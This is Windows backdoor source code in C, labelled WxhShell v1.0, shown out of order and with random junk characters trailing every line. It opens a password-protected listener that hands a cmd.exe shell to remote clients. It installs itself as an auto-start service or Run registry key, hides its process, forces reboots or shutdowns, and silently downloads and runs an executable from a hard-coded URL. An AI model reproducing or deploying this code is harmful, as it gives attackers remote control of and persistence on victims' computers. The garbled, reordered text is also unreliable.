    if(Boot(SHUTDOWN)) hJ|z8Sy@1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TqWvHZX  
    else { ag3T[}L z  
    closesocket(wsh); B$\5=[U  
    ExitThread(0); 9U+^8,5  
    } U*-%V$3+w5  
    break; kr3ZqMfeI  
    } l!oU9  
  // 获取shell u", [ulP  
  case 's': { KmMt:^9  
    CmdShell(wsh); Va1|XQ<CL  
    closesocket(wsh); I} j! !  
    ExitThread(0); S`NH6?/uH  
    break; ~sM334sQ  
  } zNB G;\ W  
  // 退出 giI9-C  
  case 'x': { &=f%(,+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KVK@Snn   
    CloseIt(wsh); ~WVrtYJu  
    break; m^TkFt<BM  
    } ;$W|FpR2  
  // 离开 [9w8oNg0  
  case 'q': { *`dGapd3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [x@iqFO9  
    closesocket(wsh); 9{+B l NZ  
    WSACleanup(); ?f a/}|T  
    exit(1); towQoqv  
    break; f5'+F-`N  
        } W{k}ogI;  
  } %cBJ haR{(  
  } -1fT2e  
aa$+(  
  // 提示信息 HbCM{A9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r=s7be  
} y M>c**9  
  } |`,%%p|T%  
Zu5`-[mw  
  return; Lw3Z^G  
} 3uN;*f  
T;I a;<mfE  
// shell模块句柄 CnJO]0Op3  
int CmdShell(SOCKET sock) q'PA2a:  
{ w@hm>6j  
STARTUPINFO si; vh((HS-)  
ZeroMemory(&si,sizeof(si)); K !`tEW[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :[,n`0lH  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :c c#e&BO  
PROCESS_INFORMATION ProcessInfo; <x,$ODso  
char cmdline[]="cmd"; Y@Ty_j~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [7$.)}Q-  
  return 0; '#^ONnSTn  
} ~]}7|VN.}  
PE3l2kr  
// 自身启动模式 qRTy}FU1  
int StartFromService(void) T'FRnC^~  
{ iQ:]1H s  
typedef struct f\1)BZ'I  
{ nd-y`@z  
  DWORD ExitStatus; z~Gi/Ln  
  DWORD PebBaseAddress; `NrxoU=  
  DWORD AffinityMask; ]Rz]"JZ\S  
  DWORD BasePriority; $dq R]'  
  ULONG UniqueProcessId; e3&R3{  
  ULONG InheritedFromUniqueProcessId; Rs7=v2>I  
}   PROCESS_BASIC_INFORMATION; &d=j_9   
YMC*<wXN  
PROCNTQSIP NtQueryInformationProcess; |]^OX$d  
F?TAyD*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5_{C \S`T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @99@do |C  
~p^6  
  HANDLE             hProcess; :+; U W \  
  PROCESS_BASIC_INFORMATION pbi; |R DPx6!V  
W$  M4#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  #\Lt0  
  if(NULL == hInst ) return 0; 2B5Z0<  
a3JG&6-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !fjDO!,!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Kh}#At^C8e  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5^*I]5t8  
Y@F@k(lOo  
  if (!NtQueryInformationProcess) return 0; mZ'`XAS~;  
c V=h 8F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (m25ZhW  
  if(!hProcess) return 0; ,{=#  
RoT}L#!!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; eVn]/.d  
Bk*AO?3p  
  CloseHandle(hProcess); Q"S;r1 D  
g&) XaF[!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *?+E?AGe  
if(hProcess==NULL) return 0; V!(Ty%7  
<Zl}u:(w  
HMODULE hMod; &V:iy  
char procName[255]; gYw4YP0Gz  
unsigned long cbNeeded; z`y!C3w<  
ilHZx2 k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iO~3rWQ  
<x *.M"6?  
  CloseHandle(hProcess); ??Q'| r  
tY~EB.%  
if(strstr(procName,"services")) return 1; // 以服务启动 { owK~  
fKb8)PDP  
  return 0; // 注册表启动 Z`Rrv$M!  
} Nyip]VwMJ  
uPQ:}zL2  
// 主模块 ^giseWR(  
int StartWxhshell(LPSTR lpCmdLine) '1_CMr  
{ {}y"JbXMj  
  SOCKET wsl; 6=0"3%jn@  
BOOL val=TRUE; by (xv0v;  
  int port=0; ,C1}gPQ6<  
  struct sockaddr_in door; |>Qj]  
1/:WA:]1 ,  
  if(wscfg.ws_autoins) Install(); ozy~`$;c  
0[/>> !ws  
port=atoi(lpCmdLine); Y/?V%X  
Bq3"l%hI  
if(port<=0) port=wscfg.ws_port; jhOQ)QE|  
aSkH<5i`v  
  WSADATA data; uS`XWn<CSD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #(=8 RA:@  
g4EC[>5!r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $F"'= +0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZxF RE#y~2  
  door.sin_family = AF_INET; a<*q+a(*W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ' @i0~  
  door.sin_port = htons(port); T{<riJ`O  
rozp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m-Z<zEQ  
closesocket(wsl); 4i|yEf  
return 1; f~ kz=R=  
} 4+"2K-]   
wc`UcGO  
  if(listen(wsl,2) == INVALID_SOCKET) { |WwC@3)  
closesocket(wsl); gqJSz}'  
return 1; H0r@dn  
} Y@B0.5U2  
  Wxhshell(wsl); R~ n[g  
  WSACleanup(); P'MfuTtT&  
)_BQ@5NK  
return 0; f9ux+XQk9  
k+b!Lw!L  
} jwhc;y  
jMr[ UZ  
// 以NT服务方式启动 |C"(K-do  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =z#6mSx|W  
{ i[_B~/_  
DWORD   status = 0; |Lf>Z2E  
  DWORD   specificError = 0xfffffff; tqbYrF)  
-|V1A[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ZEa31[@B[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @ >_v/U'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p?rh+0wgX  
  serviceStatus.dwWin32ExitCode     = 0; |iSd<  
  serviceStatus.dwServiceSpecificExitCode = 0; Z$jqB~=^e  
  serviceStatus.dwCheckPoint       = 0; ]t0]fb[J  
  serviceStatus.dwWaitHint       = 0; o?5m^S14[1  
W'lejOiw  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~j3O0s<gK  
  if (hServiceStatusHandle==0) return; _[F(8Q x"  
X\&CQiPS  
status = GetLastError(); R `K1L!`3  
  if (status!=NO_ERROR) cH>@ZFTF  
{ [>--U)/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o rBB5JJ  
    serviceStatus.dwCheckPoint       = 0; [QUaC3l)  
    serviceStatus.dwWaitHint       = 0; k6eh$*!  
    serviceStatus.dwWin32ExitCode     = status; <OgwA$abl%  
    serviceStatus.dwServiceSpecificExitCode = specificError; dmA#v:$1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7]sRHX0o%  
    return; JX!z,X?r4  
  } &FrUj>i  
vo (riHH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; cPunMHD  
  serviceStatus.dwCheckPoint       = 0; cvOCBg38BH  
  serviceStatus.dwWaitHint       = 0; (E(J}r~E  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); , L_u X  
} !%X~`&9  
& 6="r}  
// 处理NT服务事件,比如:启动、停止 da ' 1 H  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hufpky[&8  
{ ICdfak  
switch(fdwControl) pTeN[Yu?  
{ 2P, %}Ms  
case SERVICE_CONTROL_STOP: pYN.tD FO  
  serviceStatus.dwWin32ExitCode = 0; h4ozwVA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q&5s,)w-  
  serviceStatus.dwCheckPoint   = 0; !#y_vz9  
  serviceStatus.dwWaitHint     = 0; G]v BI=  
  { UpTVLx^c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mY= Q#nG  
  } c,j[ix  
  return; x3AAn,m8  
case SERVICE_CONTROL_PAUSE: CKE):kHu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; MD98N{+[|  
  break; E4N/or  
case SERVICE_CONTROL_CONTINUE: y:',)f }  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <>v=jH|L  
  break; $ U=j<^R}a  
case SERVICE_CONTROL_INTERROGATE: l"zwH  
  break; XgI;2Be+&a  
}; 0ZM#..3sI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !P8Y(i  
} "%I<yUP]U  
]A&pX AM  
// 标准应用程序主函数 t 7-6A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lxsn(- j  
{ O\J{4EB@.  
'vwu^u?  
// 获取操作系统版本 Y6 <.]H  
OsIsNt=GetOsVer(); j DkBe-`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6%^A6U  
kk>z,A4 h_  
  // 从命令行安装 *$]50 \W  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2WK c;?  
+R8G*2  
  // 下载执行文件 {nPiIPH  
if(wscfg.ws_downexe) { v\lKY*@f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I:6H65(&  
  WinExec(wscfg.ws_filenam,SW_HIDE); `O0bba=:=  
} SPT?Tt  
??#SQSU  
if(!OsIsNt) { V_3K((P6  
// 如果时win9x,隐藏进程并且设置为注册表启动 _I?oR.ON33  
HideProc(); !tzk7D  
StartWxhshell(lpCmdLine); M]Hf>7p  
} T@jv0/(+  
else ;&dMtYb  
  if(StartFromService()) ~_SRcM{  
  // 以服务方式启动 yGY:EvH^?  
  StartServiceCtrlDispatcher(DispatchTable); V]Rt[l]  
else |b4f3n  
  // 普通方式启动 Skg}/Ek  
  StartWxhshell(lpCmdLine); ~KQiNkA\|l  
S3UJ)@ E  
return 0; u!-v1O^[  
} 4L bll%[9  
[*J?TNk  
:85QwN]\  
TKp2C5bX  
=========================================== '':MhRb  
!bIE%cq  
B[IWgvB(e  
!]3kFWs  
a9u2Wlz  
 RnSll-  
" bkuJN%  
^[&,MQU{7  
#include <stdio.h> Wl7S<>hg4  
#include <string.h> bcgXpP  
#include <windows.h> -TMg9M4  
#include <winsock2.h> 9m.MGJbQ_f  
#include <winsvc.h> Wn{MY=5Y  
#include <urlmon.h> "TI>_~  
%'uei4   
#pragma comment (lib, "Ws2_32.lib") /|8rVYSs  
#pragma comment (lib, "urlmon.lib") IczMf%  
| |L^yI~_d  
#define MAX_USER   100 // 最大客户端连接数 &5[B\yv  
#define BUF_SOCK   200 // sock buffer Wo(m:q(Om  
#define KEY_BUFF   255 // 输入 buffer Eunmc  
3 a|pk4M  
#define REBOOT     0   // 重启 h1H$3TpP  
#define SHUTDOWN   1   // 关机 (tyky&$!  
p, T4BO  
#define DEF_PORT   5000 // 监听端口 34QW^{dgE  
I7W`\d)  
#define REG_LEN     16   // 注册表键长度 g[*"LOw  
#define SVC_LEN     80   // NT服务名长度 _pmo 6O  
S17;;w0  
// 从dll定义API \Q^grX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0(>3L:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )HcLpoEi  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {+]tx46$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W^7yh&@lU  
jgiS/oW  
// wxhshell配置信息 f@gvDo]Y  
struct WSCFG { b0/YX@  
  int ws_port;         // 监听端口 AB{zkEuK  
  char ws_passstr[REG_LEN]; // 口令 +cbF$,M4  
  int ws_autoins;       // 安装标记, 1=yes 0=no &=f?:UZ%  
  char ws_regname[REG_LEN]; // 注册表键名 xYZ,.  
  char ws_svcname[REG_LEN]; // 服务名 .4ZOm'ko{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )~Gn7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h@z0 x4_])  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .Cf!5[0E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no PC HKH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5$$# d_Gj  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 CG95ScrX  
E0x\h<6W~  
}; =XtQ\$Pax  
4K\o2p?4  
// default Wxhshell configuration !9{UBAh  
struct WSCFG wscfg={DEF_PORT, O._\l?m  
    "xuhuanlingzhe", R58NTPm  
    1, %ZcS"/gf  
    "Wxhshell", -k@1# c+z  
    "Wxhshell", W/3sJc9  
            "WxhShell Service", vvG"rU  
    "Wrsky Windows CmdShell Service", %|%eGidu  
    "Please Input Your Password: ", 0@[*~H0{n  
  1, 6#AEVRJKU@  
  "http://www.wrsky.com/wxhshell.exe", 'oK o F  
  "Wxhshell.exe"  !^8X71W|  
    }; Dw.I<fns^B  
5F!Qn\{u{  
// 消息定义模块 `*elzW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ak-agH  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [2YPV\=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8;L;R ~Q  
char *msg_ws_ext="\n\rExit."; PxQQfI>  
char *msg_ws_end="\n\rQuit."; &CcW(-  
char *msg_ws_boot="\n\rReboot..."; ]Y-Y.&b7t  
char *msg_ws_poff="\n\rShutdown..."; |N^"?bSt  
char *msg_ws_down="\n\rSave to "; _n/73Oh  
C\joDAD  
char *msg_ws_err="\n\rErr!"; g ?xD*3 <  
char *msg_ws_ok="\n\rOK!"; 4U_+NC>b  
73]8NVm  
char ExeFile[MAX_PATH]; F+GX{e7E\  
int nUser = 0; /G|v.#2/g  
HANDLE handles[MAX_USER]; yXoNfsv  
int OsIsNt; 4lWqQVx  
VdGVEDwz  
SERVICE_STATUS       serviceStatus; K a& 2>F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8{QCW{K  
#0vda'q=j  
// 函数声明 ; o Y|~  
int Install(void); |d&C<O;f  
int Uninstall(void); I`*5z;Q!%@  
int DownloadFile(char *sURL, SOCKET wsh); S0Io$\ha  
int Boot(int flag); kz1#"8Zd!  
void HideProc(void); o&&`_"18  
int GetOsVer(void); Kc95yt  
int Wxhshell(SOCKET wsl); 7y&6q`y E  
void TalkWithClient(void *cs); nu7 R  
int CmdShell(SOCKET sock); NJ+$3n om  
int StartFromService(void); vy}_aD{B  
int StartWxhshell(LPSTR lpCmdLine); 4I$Y"|_e  
;[UI ]?A%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e[?,'Mp9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h]L.6G|hEN  
BWQ`8  
// 数据结构和表定义 SMIDW}U2S  
SERVICE_TABLE_ENTRY DispatchTable[] = <F(S_w62  
{ [qW%H,_  
{wscfg.ws_svcname, NTServiceMain}, Ow*va\0  
{NULL, NULL} 2$kB^g!:o  
}; bhGRD{=  
_/z_ X  
// 自我安装 :IBP "  
int Install(void) jL8A_'3B  
{ Z5n-3h!+ED  
  char svExeFile[MAX_PATH]; w|]Tt="   
  HKEY key; *;9H\%  
  strcpy(svExeFile,ExeFile); 38T] qz[Sn  
l`N4P  
// 如果是win9x系统,修改注册表设为自启动  ;}?ZH4.S  
if(!OsIsNt) { YPGzI]\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dqJ 8lU?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xEu rkR  
  RegCloseKey(key); " acI:cl?,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8b.k*,r>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P8}IDQ9  
  RegCloseKey(key); BO4;S/ O  
  return 0; `,xO~_ e>  
    } f|M^UHt8*  
  } K}cA%Y  
} g-wE(L  
else { !.X/(R7J  
717THci3Y  
// 如果是NT以上系统,安装为系统服务 Wz=& 0>Mm_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Dk a8[z7  
if (schSCManager!=0) N2U&TCc  
{ \1gAWUt('  
  SC_HANDLE schService = CreateService _hyqHvP  
  ( -&`_bf%M  
  schSCManager, E b:iym0  
  wscfg.ws_svcname, i+mU(/l2{  
  wscfg.ws_svcdisp, K<:%ofB"S  
  SERVICE_ALL_ACCESS, c5$DHT @N"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (J%4}Dm  
  SERVICE_AUTO_START, ] 1pIIX}  
  SERVICE_ERROR_NORMAL, V\x'w*FP  
  svExeFile, 1t^y?<)  
  NULL, ?k4Hk$V  
  NULL, dp^PiyL  
  NULL, gJr)z7W'8  
  NULL, )W 5g-@  
  NULL n]Yz<#  
  ); }a[]I%bu 2  
  if (schService!=0) XWAIW= .  
  { Ewp2 1  
  CloseServiceHandle(schService); B G\)B  
  CloseServiceHandle(schSCManager); )K@D4sl  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e-P{)L<s5  
  strcat(svExeFile,wscfg.ws_svcname); H[p~1%Lq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A r~/KRK  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); esA^-$  
  RegCloseKey(key); S$hxR  
  return 0; e|~{ X\l  
    } y>0 @.  
  } Cip|eM&l  
  CloseServiceHandle(schSCManager); Yg '(  
} L`K)mCr  
} ^i#0aq2}  
#*qV kPX  
return 1; 6Aqv*<1=62  
} -XL? n/M  
SF*mY=1  
// 自我卸载 KTT!P 4  
int Uninstall(void) BM:p)%Pv#P  
{ Y\_mq d  
  HKEY key; /nA>ox78  
F/lL1nTdK  
if(!OsIsNt) { CHv n8tk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JUA%l  
  RegDeleteValue(key,wscfg.ws_regname); M !"Q7>d  
  RegCloseKey(key); mfI[9G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Bf00&PE;  
  RegDeleteValue(key,wscfg.ws_regname);  2=;ZJ  
  RegCloseKey(key); u`Nrg<  
  return 0; ";(m,i f-  
  } qXq#A&  
} nbP}a?XC  
} flqr["czwK  
else { _ymSo`Iv R  
cJq {;~   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6x(b/`VW  
if (schSCManager!=0) @q<h.#9  
{ !gLJBp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }0E@eL  
  if (schService!=0) \R@}X cqZ  
  { <ZZfN@6  
  if(DeleteService(schService)!=0) { P;25 F  
  CloseServiceHandle(schService); ,?j!c*  
  CloseServiceHandle(schSCManager); k7*-v/ *S  
  return 0; B^dMYFelJ  
  } DL~! ^fx  
  CloseServiceHandle(schService); 0K.$C~ C  
  } "gI-S[  
  CloseServiceHandle(schSCManager); T<7}IH$6xE  
} E#m^.B-}  
} YK8l#8K  
gM1:*YK  
return 1; A ;`[va  
} CpN*1s})d  
"[["naa  
// 从指定url下载文件 9mMQ  
int DownloadFile(char *sURL, SOCKET wsh) C'A D[`p  
{ `{"V(YMEV  
  HRESULT hr; Bq~S=bAB>R  
char seps[]= "/"; otjT ?R2g'  
char *token; 2ALYfZ|d  
char *file; d:&cq8^  
char myURL[MAX_PATH]; AX@bM  
char myFILE[MAX_PATH]; \ :@!rM  
Y(rQ032s  
strcpy(myURL,sURL); (0 t{  
  token=strtok(myURL,seps); Dy. |bUB!f  
  while(token!=NULL) E"BW-<_!  
  { S?v;+3TG  
    file=token; \J(~ Nv5!  
  token=strtok(NULL,seps); X J]+F  
  } 2i6P<&@  
^v;8 (eF  
GetCurrentDirectory(MAX_PATH,myFILE); Gv)*[7  
strcat(myFILE, "\\"); T`v  
strcat(myFILE, file); hZ<FCY,/?  
  send(wsh,myFILE,strlen(myFILE),0); "0G)S'  
send(wsh,"...",3,0); mp(:D&M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r7U[QTM%  
  if(hr==S_OK) 8_D:#i  
return 0; ^|rzqXW  
else ri"=)]  
return 1; x51p'bNy  
!_o1;GzK  
} 2V9"{F?  
YL;*%XmAG  
// 系统电源模块 =}0>S3a.7  
int Boot(int flag) \@Z D.d#  
{ q,Nqv[va  
  HANDLE hToken; P6^\*xkMr  
  TOKEN_PRIVILEGES tkp; ='eQh\T)  
wjID*s[  
  if(OsIsNt) { 9WoTo ,q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J{uqbrJICr  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fEK%)Z:0  
    tkp.PrivilegeCount = 1; =1B;<aZH!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v%c--cO(S4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]a~gnz&1  
if(flag==REBOOT) { >]\oVG  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QE;,mC>  
  return 0; Tt0]G_  
} SV2\vby}C  
else { ~ebm,3?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1RQM-0W,  
  return 0; /4*>.Nmb,f  
} =cR=E{20  
  } 0F 4%Xz  
  else { 1@]gBv<  
if(flag==REBOOT) { 5X-d,8{w _  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H0lAu]~R_W  
  return 0; 7&|&y SCu  
} !Cm9DzG  
else { .#e?[xxk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &eg@Z nPn  
  return 0; ]CnT4[f!  
} _B==S4^/yU  
} [QT H~  
Bb5RZ#oa  
return 1; ^j_t{h)W(0  
} PTA_erU  
bb`DyUy ^+  
// win9x进程隐藏模块 QN~9O^  
void HideProc(void) -Ze2]^#dl  
{ -S $Y0FDV  
8g_GXtn(z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /Q9iO&Vu  
  if ( hKernel != NULL ) @2A&eLw LH  
  { Z oKXao  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Bd13p_V"6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j=b-Y  
    FreeLibrary(hKernel); #5IfF~* i  
  } ?B4X&xf.D  
Fmrl*tr  
return; :?gk =JH:  
} M059"X="  
-S}^b6WL  
// 获取操作系统版本 pe`&zI_`?  
int GetOsVer(void) ^w}BXVn  
{ 4L6'4t"s  
  OSVERSIONINFO winfo; 9fq CE619a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z"@UNypc,  
  GetVersionEx(&winfo); 8nRxx`U\q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r?n3v[B  
  return 1; /kd6Yq(y  
  else v|r#  
  return 0; (>x_fDv  
} -f[95Z3}  
G?{uR6s>#  
// 客户端句柄模块 v/7iu*u  
int Wxhshell(SOCKET wsl) F, p~O{ Q  
{ jP"='6Vrw  
  SOCKET wsh; )VR/a  
  struct sockaddr_in client; W\yaovAt  
  DWORD myID; 4ze4{a^  
L{i|OK^e  
  while(nUser<MAX_USER) Rlf#)4  
{ ZzO.s$  
  int nSize=sizeof(client); \>XkK<ye  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6~6*(s|]A  
  if(wsh==INVALID_SOCKET) return 1; 6Yx/m  
{f)"F;]V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j%s:d(H`  
if(handles[nUser]==0) Kkds^v6  
  closesocket(wsh); rv97Wm+  
else y{\K:    
  nUser++; ib)AC,LT  
  } Bso3Z ^X.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8(A+"H(  
gkDlh{  
  return 0; tqe8:\1yK  
} a)Ca:p  
B mxBbg  
// 关闭 socket ! .|\}=[e  
void CloseIt(SOCKET wsh) '&$xLZ8  
{ ZiOL7#QWX  
closesocket(wsh); b6UD!tXp  
nUser--; jPNm $Y1  
ExitThread(0); 1 9C=' TMS  
} VM[Vh k[  
%CiZ>`5n#  
// 客户端请求句柄 UDz#?ZWnd  
void TalkWithClient(void *cs) C_DXg-a2lu  
{ :CAbGs:56  
ep2#a#&'  
  SOCKET wsh=(SOCKET)cs; t<2B3&o1  
  char pwd[SVC_LEN]; eE-@dU?  
  char cmd[KEY_BUFF]; $]yHk  
char chr[1]; #!X4\+)  
int i,j; }EZd=_kAq~  
9 nPc>O$  
  while (nUser < MAX_USER) { ^.@BD4/RPt  
\.<V~d?  
if(wscfg.ws_passstr) { 564)ha/^(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V<;w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r/vRaOg>X  
  //ZeroMemory(pwd,KEY_BUFF); iv/!c Mb  
      i=0; noa =wy  
  while(i<SVC_LEN) { sC.aT(meJ  
,s,VOyr @F  
  // 设置超时 .-g++f(_i  
  fd_set FdRead; #{kwl|c   
  struct timeval TimeOut; |H'4];>R?  
  FD_ZERO(&FdRead); )tyhf(p6  
  FD_SET(wsh,&FdRead); IaLCWvHX  
  TimeOut.tv_sec=8; #A2)]XvY  
  TimeOut.tv_usec=0; jQiK of>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tb-:9*2j-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); AG$S;)Yl9c  
]dKLzW:l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ' 4nR^,  
  pwd=chr[0]; eD4o8[s  
  if(chr[0]==0xd || chr[0]==0xa) { n_/_Y >{M0  
  pwd=0;  hVB^:  
  break; P+~{q.|._c  
  } vA*Ud;%R  
  i++; MZX-<p+  
    } }G#TYF}  
VS lIeZ  
  // 如果是非法用户,关闭 socket #JH#Qg  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 26,!HmtC  
} CcZ\QOet&C  
@sAT#[j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); crt )}L8-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +JMB98+l  
iwl\&uNQU  
while(1) { [y}0X^9,E  
]HK|xO(  
  ZeroMemory(cmd,KEY_BUFF); zMkjdjb  
l25E!E-'b  
      // 自动支持客户端 telnet标准   =;9*gDfD  
  j=0; yqm^4)Dp  
  while(j<KEY_BUFF) { (gv1f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9o]h}Xc  
  cmd[j]=chr[0]; N{u4  
  if(chr[0]==0xa || chr[0]==0xd) {  H)),~<s  
  cmd[j]=0; %/o8-N|_[  
  break;  4_E{  
  } /^kZ}}9baU  
  j++; .'q0*Pe  
    } J<<0U;  
<= xmJx-V  
  // 下载文件 +|N!(H  
  if(strstr(cmd,"http://")) { >+w(%;i;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,3t('SE  
  if(DownloadFile(cmd,wsh)) $vC!Us{z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8T:|~%Sw  
  else n\#RI9#\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .&AS-">Z  
  } a+TlZE>8  
  else { pFLR!/J  
ztNm,1pnQ  
